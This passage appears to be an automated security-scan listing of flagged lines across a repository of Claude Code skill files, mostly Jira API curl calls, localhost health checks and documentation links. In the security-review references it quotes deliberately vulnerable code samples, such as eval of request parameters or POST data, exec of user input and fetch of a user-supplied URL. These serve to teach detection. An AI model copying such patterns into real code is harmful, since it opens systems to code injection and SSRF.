    - [Npgsql GitHub: Multiple Active Result Sets Discussion](https://github.com/npgsql/npgsql/issues/462)

harness/claude-code/skills/reviewing-oracle-to-postgres-migration/references/postgres-refcursor-handling.md

  • Network accessline 146
    - [PostgreSQL Documentation: Cursors](https://www.postgresql.org/docs/current/plpgsql-cursors.html) - [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html)
  • Network accessline 147
    - [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html)
  • Network accessline 148
    - [Npgsql Refcursor Support](https://github.com/npgsql/npgsql/issues/1887)

harness/claude-code/skills/rhdh-jira/references/assign.md

  • Network accessline 43
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \
  • Network accessline 60
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 84
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 209
    curl -s -X PUT \
  • Network accessline 211
    -H "Content-Type: application/json" \   -d '{"fields": {"assignee": {"accountId": "ACCOUNT_ID"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234"
  • Network accessline 213
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234"

harness/claude-code/skills/rhdh-jira/references/auth.md

  • Network accessline 5
    **Never read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution.
  • Network accessline 31
    The `AUTH` value is `email:api-token`, passed directly as basic auth credentials via `curl -u "$AUTH"`.
  • Network accessline 45
    CLOUD_ID="2b9e35e3-6bd3-4cec-b838-f4249ee02432" JIRA_BASE="https://redhat.atlassian.net"
  • Network accessline 46
    JIRA_BASE="https://redhat.atlassian.net"
  • Dangerous shell operationline 60
    curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])"
  • Network accessline 60
    curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])"
  • Network accessline 65
    The `ORG_ID` is visible in the Atlassian admin URL: `https://admin.atlassian.com/o/{ORG_ID}/...`. It can also be found via the Teams API - any team entity returned by `team.teamSearchV2` includes `organizationId` in its response. The value 

harness/claude-code/skills/rhdh-jira/references/duplicates.md

  • Network accessline 37
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/claude-code/skills/rhdh-jira/references/graphql-queries.md

  • Network accessline 5
    **Do not read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution (see Authentication below).
  • Network accessline 25
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 33
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 43
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 76
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 90
    curl -s -u "$AUTH" -X POST \
  • Network accessline 112
    # Next page - add after: "abc123" curl -s -u "$AUTH" -X POST \
  • Network accessline 113
    curl -s -u "$AUTH" -X POST \
  • Network accessline 143
    curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \
  • Network accessline 168
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \

harness/claude-code/skills/rhdh-jira/references/plan.md

  • Network accessline 40
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 57
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/claude-code/skills/rhdh-jira/references/refine.md

  • Network accessline 55
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
  • Network accessline 110
    curl -s -u "$AUTH" \
  • Network accessline 111
    "https://redhat.atlassian.net/rest/api/3/issue/ISSUE_KEY/comment?orderBy=-created&maxResults=5" \

harness/claude-code/skills/rhdh-jira/references/release.md

  • Network accessline 31
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/claude-code/skills/rhdh-jira/references/rest-api-fallback.md

  • Network accessline 26
    curl -s -o jira-openapi.json \
  • Network accessline 27
    'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'
  • Network accessline 61
    # List all fields (standard + custom) with IDs and types curl -s -u "$AUTH" \
  • Dangerous shell operationline 62
    curl -s -u "$AUTH"    'https://redhat.atlassian.net/rest/api/3/field' |    python -c "
  • Network accessline 62
    curl -s -u "$AUTH" \
  • Network accessline 63
    'https://redhat.atlassian.net/rest/api/3/field' | \
  • Dangerous shell operationline 77
    curl -s -u "$AUTH"    'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' |    python -c "
  • Network accessline 77
    curl -s -u "$AUTH" \
  • Network accessline 78
    'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' | \
  • Network accessline 93
    |--|---------|---------| | **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/pla
  • Network accessline 94
    | **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'
  • Network accessline 95
    | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'` | `__schema` or `__type` introspection queries against the live endpoint |
  • Network accessline 104
    curl -s -X PUT \
  • Network accessline 106
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10028": 5}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 108
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 114
    curl -s -X PUT \
  • Network accessline 116
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10795": {"value": "M"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 118
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 126
    curl -s -X PUT \
  • Network accessline 128
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10001": {"id": "TEAM_ID"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 130
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 138
    curl -s -X PUT \
  • Network accessline 140
    -H "Content-Type: application/json" \   -d '{"fields": {"customfield_10785": {"value": "Enhancement"}}}' \   "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 142
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123"
  • Network accessline 163
    curl -s -u "$AUTH" \
  • Network accessline 164
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123?fields=customfield_10028,customfield_10795,customfield_10001"

harness/claude-code/skills/rhdh-jira/references/sprint-report.md

  • Network accessline 38
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/claude-code/skills/rhdh-jira/references/to-epic.md

  • Network accessline 100
    curl -s -X PUT -u "$AUTH" -H "Content-Type: application/json" \
  • Network accessline 102
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-XXX"

harness/claude-code/skills/rhdh-jira/references/to-issue.md

  • Network accessline 154
    curl -s -X PUT -u "$AUTH" -H "Content-Type: application/json" \
  • Network accessline 156
    "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-YYY"

harness/claude-code/skills/rhdh-jira/references/update-jira-status.md

  • Network accessline 57
    curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \

harness/claude-code/skills/rhdh-jira/scripts/parse_issues.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/rhdh-jira/scripts/setup.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 211
    else:         print("  [FAIL] acli not found on PATH")         print("         Install from: https://developer.atlassian.com/cloud/acli/")
  • Network accessline 212
    print("  [FAIL] acli not found on PATH")         print("         Install from: https://developer.atlassian.com/cloud/acli/")         return
  • Network accessline 213
    print("         Install from: https://developer.atlassian.com/cloud/acli/")
  • Network accessline 239
    print("         Then: chmod 600 .jira-token")         print("         REST API/GraphQL fallback will not work without it.")         print("         See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/")
  • Network accessline 241
    print("         See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/")

harness/claude-code/skills/rhdh-local/references/customization-system.md

  • Access to secretsline 23
    [Credential-related source omitted]

harness/claude-code/skills/rhdh-local/references/env-reference.md

  • Network accessline 25
    |----------|---------|-------------| | `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) |
  • Network accessline 26
    | `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | | `AUTH_GITHUB_CLIENT_ID` | | OAuth app client ID |
  • Network accessline 27
    | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) |
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 36
    | Variable | Default | Description | |----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL |
  • Network accessline 37
    |----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | | `JENKINS_USERNAME` | | Jenkins admin user |
  • Network accessline 38
    | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL |
  • Network accessline 47
    | Variable | Default | Description | |----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` |
  • Network accessline 48
    |----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | | `JIRA_TOKEN` | | Base64-encoded API token |
  • Network accessline 49
    | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` |
  • Network accessline 80
    | Variable | Default | Description | |----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint |
  • Network accessline 81
    |----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | | `OLLAMA_MODEL` | `llama3.2:1b` | Model to use |
  • Network accessline 82
    | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint |
  • Access to secretsline 99
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 125
    [Credential-related source omitted]
  • Network accessline 134
    | `NODE_TLS_REJECT_UNAUTHORIZED` | `0` | Set to `1` in production | | `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL |
  • Network accessline 135
    | `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL | | `SEGMENT_WRITE_KEY` | | Telemetry key (empty = disabled) |
  • Network accessline 136
    | `BASE_URL` | `http://localhost:7007` | RHDH base URL |
  • Access to secretsline 149
    [Credential-related source omitted]

harness/claude-code/skills/rhdh-local/references/troubleshooting.md

  • Network accessline 17
    # 2. Test at http://localhost:7007
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 102
    # Manual checks curl http://localhost:7007/api/catalog/health    # Catalog backend
  • Network accessline 103
    curl http://localhost:7007/api/catalog/health    # Catalog backend
  • Network accessline 104
    curl http://localhost:7007                        # Frontend

harness/claude-code/skills/rhdh-local/rhdh_local/__init__.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/rhdh-local/rhdh_local/backup.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/rhdh-local/rhdh_local/cli.py

  • Executable scriptline 1
    Executable file
  • Network accessline 163
    rhdh_running = False     try:         with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 164
    try:         with socket.create_connection(("localhost", 7007), timeout=1):             rhdh_running = True
  • Network accessline 165
    with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 170
    if rhdh_running:         checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"})         fmt.log_ok("RHDH: running on http://localhost:7007")
  • Network accessline 171
    checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"})         fmt.log_ok("RHDH: running on http://localhost:7007")     else:
  • Network accessline 172
    fmt.log_ok("RHDH: running on http://localhost:7007")
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 439
    [Credential-related source omitted]

harness/claude-code/skills/rhdh-local/rhdh_local/compose.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/rhdh-local/rhdh_local/health.py

  • Executable scriptline 1
    Executable file
  • Network accessline 62
    port_open = False     try:         with socket.create_connection(("localhost", 7007), timeout=2):
  • Network accessline 63
    try:         with socket.create_connection(("localhost", 7007), timeout=2):             port_open = True
  • Network accessline 64
    with socket.create_connection(("localhost", 7007), timeout=2):
  • Network accessline 72
    name="rhdh_port",                 status="pass",                 message="RHDH reachable on http://localhost:7007",
  • Network accessline 73
    status="pass",                 message="RHDH reachable on http://localhost:7007",             )
  • Network accessline 74
    message="RHDH reachable on http://localhost:7007",
  • Network accessline 111
    if port_open:         try:             with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:
  • Network accessline 112
    try:             with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:                 body = resp.read().decode()
  • Network accessline 113
    with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:

harness/claude-code/skills/rhdh-local/rhdh_local/settings.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/rhdh-local/rhdh_local/sync.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 17
    [Credential-related source omitted]

harness/claude-code/skills/rhdh-local/scripts/NOTICE

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    Project: rhdh-lab   Author: Ben Wilcock   Repository: https://github.com/benwilcock/rhdh-lab
  • Network accessline 7
    Author: Ben Wilcock   Repository: https://github.com/benwilcock/rhdh-lab   License: Apache License 2.0
  • Network accessline 8
    Repository: https://github.com/benwilcock/rhdh-lab
  • Network accessline 17
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/skills/rhdh-local/scripts/fetch-plugin-metadata.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 4
    Replaces the manual 3-step curl chain in the enable-plugin workflow.
  • Network accessline 23
    _CONTENTS_URL = (     "https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays"
  • Network accessline 24
    "https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays"
  • Network accessline 25
    "/contents/catalog-entities/extensions/plugins" ) _RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main"
  • Network accessline 27
    _RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main"
  • Network accessline 296
    req = urllib.request.Request(url, headers={"User-Agent": "rhdh-skill/0.1"})
  • Network accessline 297
    with urllib.request.urlopen(req, timeout=30) as resp:
  • Network accessline 341
    url = (         f"https://api.github.com/repos/redhat-developer/"
  • Network accessline 342
    f"https://api.github.com/repos/redhat-developer/"

harness/claude-code/skills/rhdh-local/scripts/rhdh-local

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/rhdh-local/workflows/enable-plugin.md

  • Network accessline 157
    - [ ] No errors in `podman compose logs install-dynamic-plugins` - [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007`
  • Network accessline 158
    - [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health`
  • Network accessline 159
    - [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health` </success_criteria>
  • Network accessline 160
    - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health`

harness/claude-code/skills/rhdh-local/workflows/switch-mode.md

  • Access to secretsline 74
    [Credential-related source omitted]
  • Network accessline 92
    # 2. Test at http://localhost:7007
  • Network accessline 130
    - [ ] `rhdh-local/` git status is clean (`git status` shows no modified files) - [ ] RHDH starts at `http://localhost:7007` with Guest login
  • Network accessline 131
    - [ ] RHDH starts at `http://localhost:7007` with Guest login

harness/claude-code/skills/rhdh-local/workflows/test-plugin.md

  • Network accessline 73
    1. Open `http://localhost:7007` - Login as Guest
  • Network accessline 83
    curl http://localhost:7007/api/<plugin>/health

harness/claude-code/skills/rhdh/references/rhdh-repos.md

  • Network accessline 9
    - **Upstream:** <https://github.com/redhat-developer/rhdh>
  • Network accessline 11
    - **Tech stack:** Node.js 22, TypeScript, React, Yarn 4, Turbo monorepo - **Key concepts:**   - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module l
  • Network accessline 12
    - **Key concepts:**   - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoo
  • Network accessline 13
    - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoot>` which fetches plug
  • Network accessline 23
    - **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh>
  • Network accessline 29
    - **Upstream:** <https://github.com/redhat-developer/rhdh-cli>
  • Network accessline 43
    - **Upstream:** <https://github.com/redhat-developer/rhdh-local>
  • Network accessline 57
    - **Upstream:** <https://github.com/redhat-developer/rhdh-operator>
  • Network accessline 72
    - **Upstream:** <https://github.com/redhat-developer/rhdh-chart>
  • Network accessline 85
    - **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-overlays>
  • Network accessline 98
    - **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-utils>
  • Network accessline 111
    - **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh-plugin-catalog>
  • Network accessline 125
    - **Upstream:** <https://github.com/redhat-developer/rhdh-plugins>
  • Network accessline 139
    - **Upstream:** <https://github.com/redhat-developer/rhdh-dynamic-plugin-factory>
  • Network accessline 149
    - **Upstream:** <https://github.com/backstage/backstage>

harness/claude-code/skills/rhdh/references/slack-notification.md

  • Network accessline 109
    https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1234
  • Network accessline 125
    Priority: Add plugin configuration to enable smoke tests See: https://github.com/.../README.md#smoke-test-config
  • Network accessline 126
    See: https://github.com/.../README.md#smoke-test-config
  • Network accessline 128
    https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1235
  • Network accessline 143
    https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1236

harness/claude-code/skills/rhdh/references/versions.md

  • Network accessline 19
    Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0)
  • Network accessline 53
    Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0)
  • Network accessline 87
    Based on [Backstage 1.42.5](https://backstage.io/docs/releases/v1.42.0)
  • Network accessline 121
    Based on [Backstage 1.39.1](https://backstage.io/docs/releases/v1.39.0)
  • Network accessline 155
    Based on [Backstage 1.36.1](https://backstage.io/docs/releases/v1.36.0)
  • Network accessline 193
    Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/app/package.json) in the `app` package.
  • Network accessline 197
    Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/backend/package.json) in the `backend` package.
  • Network accessline 210
    Check the [Version Matrix](https://github.com/redhat-developer/rhdh/blob/main/docs/dynamic-plugins/versions.md) for specific CLI versions if needed.

harness/claude-code/skills/rhdh/rhdh/__init__.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/rhdh/rhdh/__main__.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/rhdh/rhdh/cli.py

  • Executable scriptline 1
    Executable file
  • Network accessline 152
    checks.append({"name": "gh_cli", "status": "fail", "message": "not installed"})         fmt.log_fail("gh CLI: not installed")         next_steps.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 154
    next_steps.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 296
    checks.append({"name": "gh_installed", "status": "fail", "message": "not installed"})         fmt.log_fail("gh CLI not installed")         issues.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 298
    issues.append("Install gh CLI: https://cli.github.com/")
  • Network accessline 404
    rhdh_running = False         try:             with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 405
    try:             with socket.create_connection(("localhost", 7007), timeout=1):                 rhdh_running = True
  • Network accessline 406
    with socket.create_connection(("localhost", 7007), timeout=1):
  • Network accessline 411
    if rhdh_running:             checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"})             fmt.log_ok("  RHDH: running on http://localhost:7007")
  • Network accessline 412
    checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"})             fmt.log_ok("  RHDH: running on http://localhost:7007")         else:
  • Network accessline 413
    fmt.log_ok("  RHDH: running on http://localhost:7007")

harness/claude-code/skills/rhdh/rhdh/config.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]
  • Access to secretsline 400
    [Credential-related source omitted]
  • Access to secretsline 442
    [Credential-related source omitted]
  • Access to secretsline 474
    [Credential-related source omitted]
  • Dangerous shell operationline 922
    [f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"],
  • Dangerous shell operationline 928
    [f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"],

harness/claude-code/skills/rhdh/rhdh/formatters.py

  • Executable scriptline 1
    Executable file
  • Network accessline 34
    BLUE = "\033[0;34m" BOLD = "\033[1m" NC = "\033[0m"  # No Color
  • Network accessline 36
    NC = "\033[0m"  # No Color

harness/claude-code/skills/rhdh/rhdh/todo.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/rhdh/rhdh/worklog.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/rhdh/rhdh/workspace.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/rhdh/scripts/rhdh

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/rhino3d-scripts/SKILL.md

  • Access to secretsline 218
    [Credential-related source omitted]
  • Network accessline 268
    - [RhinoScript landing](https://docs.mcneel.com/rhino/8/help/en-us/information/rhinoscripting.htm)
  • Network accessline 269
    - [Developer hub](https://developer.rhino3d.com/)
  • Network accessline 270
    - [RhinoCommon API index](https://mcneel.github.io/rhinocommon-api-docs/api/RhinoCommon/html/R_Project_RhinoCommon.htm)
  • Network accessline 271
    - [Example scripts repo](https://github.com/mcneel/rhino-developer-samples/tree/8/rhinoscript)

harness/claude-code/skills/rhino3d-scripts/references/macros-and-loading.md

  • Access to secretsline 118
    [Credential-related source omitted]

harness/claude-code/skills/ruby-mcp-server-generator/references/project-templates.md

  • Network accessline 8
    source 'https://rubygems.org'

harness/claude-code/skills/sandbox-npm-install/scripts/install.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 99
    rm -rf "$DEPS_DIR"
  • Dangerous shell operationline 126
    rm -rf node_modules
  • Dangerous shell operationline 180
    elif command -v sudo &>/dev/null && sudo -n true 2>/dev/null; then
  • Dangerous shell operationline 181
    # Non-root but passwordless sudo available — install browsers then system deps
  • Dangerous shell operationline 183
    sudo npx playwright install-deps chromium
  • Dangerous shell operationline 186
    echo "System dependencies not installed (no root/sudo access)."
  • Dangerous shell operationline 187
    echo "Playwright tests may fail. Run: sudo npx playwright install-deps chromium"

harness/claude-code/skills/scoutqa-test/SKILL.md

  • Network accessline 59
    scoutqa --url "https://example.com" --prompt "Your test instructions"
  • Network accessline 64
    - **Execution ID** (e.g., `019b831d-xxx`) - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`)
  • Network accessline 65
    - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`)
  • Network accessline 95
    # Seamlessly test a locally running app when you're developing your app scoutqa --url "http://localhost:3000" --prompt "Test the registration form"
  • Network accessline 96
    scoutqa --url "http://localhost:3000" --prompt "Test the registration form"
  • Network accessline 113
    scoutqa --url "https://example.com" --prompt "
  • Network accessline 122
    scoutqa --url "https://shop.example.com" --prompt "
  • Network accessline 133
    # Test 1: Authentication & security scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 134
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 139
    # Test 2: Core features (runs in parallel) scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 140
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 145
    # Test 3: Accessibility (runs in parallel) scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 146
    scoutqa --url "https://app.example.com" --prompt "
  • Network accessline 251
    scoutqa --url "http://localhost:3000/register" --prompt "
  • Network accessline 301
    Execution ID: `019b831d-xxx` View Live: https://app.scoutqa.ai/t/019b831d-xxx
  • Network accessline 302
    View Live: https://app.scoutqa.ai/t/019b831d-xxx
  • Network accessline 384
    **Target URL:** `<URL>` **Execution ID:** `<019b831d-xxx or ex_abc123>` **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL
  • Network accessline 386
    **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL
  • Network accessline 404
    - [ ] `name` is `scoutqa-test` and matches the parent directory. - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such
  • Network accessline 405
    - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - [ ] Local URLs suc
  • Network accessline 406
    - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`.
  • Network accessline 407
    - [ ] Local URLs such as `http://localhost:3000`, `http://localhost:3000/register`, `localhost`, and `127.0.0.1` are allowed when the app is running.

harness/claude-code/skills/sdd-requirements-engineer/references/ears-notation.md

  • Network accessline 103
    - Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25.
  • Network accessline 104
    - A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9).
  • Network accessline 105
    - University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.

harness/claude-code/skills/secret-scanning/SKILL.md

  • Network accessline 159
    - [Secret scanning in AI coding agents via the GitHub MCP Server](https://github.blog/changelog/2026-03-17-secret-scanning-in-ai-coding-agents-via-the-github-mcp-server/)

harness/claude-code/skills/secret-scanning/references/push-protection.md

  • Network accessline 155
    For the full list of patterns supported by push protection, see [Supported secret scanning patterns](https://docs.github.com/en/code-security/secret-scanning/introduction/supported-secret-scanning-patterns).

harness/claude-code/skills/security-review/references/language-patterns.md

  • Dangerous shell operationline 11
    eval()                    // arbitrary code execution
  • Dangerous shell operationline 87
    eval(request.args.get('expr'))
  • Network accessline 116
    // XXE DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true)
  • Network accessline 118
    // Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true)
  • Dangerous shell operationline 143
    eval($_POST['code']);
  • Dangerous shell operationline 192
    eval(params[:code])

harness/claude-code/skills/security-review/references/report-format.md

  • Network accessline 114
    Action Required:   1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com
  • Network accessline 115
    1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com
  • Access to secretsline 117
    [Credential-related source omitted]
  • Access to secretsline 118
    [Credential-related source omitted]

harness/claude-code/skills/security-review/references/secret-patterns.md

  • Access to secretsline 86
    [Credential-related source omitted]
  • Access to secretsline 114
    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]
  • Access to secretsline 151
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]
  • Access to secretsline 171
    [Credential-related source omitted]
  • Access to secretsline 172
    [Credential-related source omitted]
  • Access to secretsline 173
    [Credential-related source omitted]
  • Access to secretsline 174
    [Credential-related source omitted]

harness/claude-code/skills/security-review/references/vuln-categories.md

  • Dangerous shell operationline 46
    - `eval()`, `setTimeout(string)`, `setInterval(string)` with user data
  • Dangerous shell operationline 61
    exec(userInput)
  • Dangerous shell operationline 71
    eval(user_input)
  • Dangerous shell operationline 76
    exec($input)
  • Network accessline 100
    fetch(req.body.url)
  • Access to secretsline 171
    [Credential-related source omitted]

harness/claude-code/skills/security-review/references/vulnerable-packages.md

  • Network accessline 90
    Reference: https://rustsec.org/advisories/
  • Network accessline 96
    Reference: https://pkg.go.dev/vuln/ and https://vuln.go.dev

harness/claude-code/skills/semantic-kernel/SKILL.md

  • Network accessline 26
    - Internet or documentation access is required to consult the Semantic Kernel overview: <https://learn.microsoft.com/semantic-kernel/overview/>. - Use Microsoft Docs MCP tooling when available to fetch current framework guidance and samples
  • Network accessline 53
